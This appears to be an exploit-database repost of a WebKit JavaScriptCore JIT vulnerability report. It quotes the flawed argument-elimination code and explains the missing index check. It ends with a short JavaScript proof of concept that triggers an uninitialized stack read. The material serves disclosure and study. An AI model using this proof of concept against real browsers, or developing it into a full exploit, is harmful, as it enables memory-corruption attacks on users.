Webkit jsc: jit uninitialized variable access in argumentseliminationphase::transform Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-08-29 | Type : dos | Platform : multiple
This exploit / vulnerability Webkit jsc: jit uninitialized variable access in argumentseliminationphase::transform is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
...

unsigned numberOfArgumentsToSkip = 0;
if (candidate->op() == PhantomCreateRest)
numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();

Node* result = nullptr;
if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
unsigned index = m_graph.varArgChild(node, 1)->asUInt32();
InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
index += numberOfArgumentsToSkip;

bool safeToGetStack;
if (inlineCallFrame) {
safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

}
else {
safeToGetStack =
index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

}
if (safeToGetStack) {
StackAccessData* data;
VirtualRegister arg = virtualRegisterForArgument(index + 1);
if (inlineCallFrame)
arg += inlineCallFrame->stackOffset;

data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);

Node* check = nullptr;
if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
check = insertionSet.insertNode(
nodeIndex, SpecNone, CheckInBounds, node->origin,
m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
}

result = insertionSet.insertNode(
nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
}
}

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
return rest[index | 0]; // GetByVal
}

function opt() {
return inlinee(-1, 0x1234); // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
opt();
}

print(opt()); // 0x1234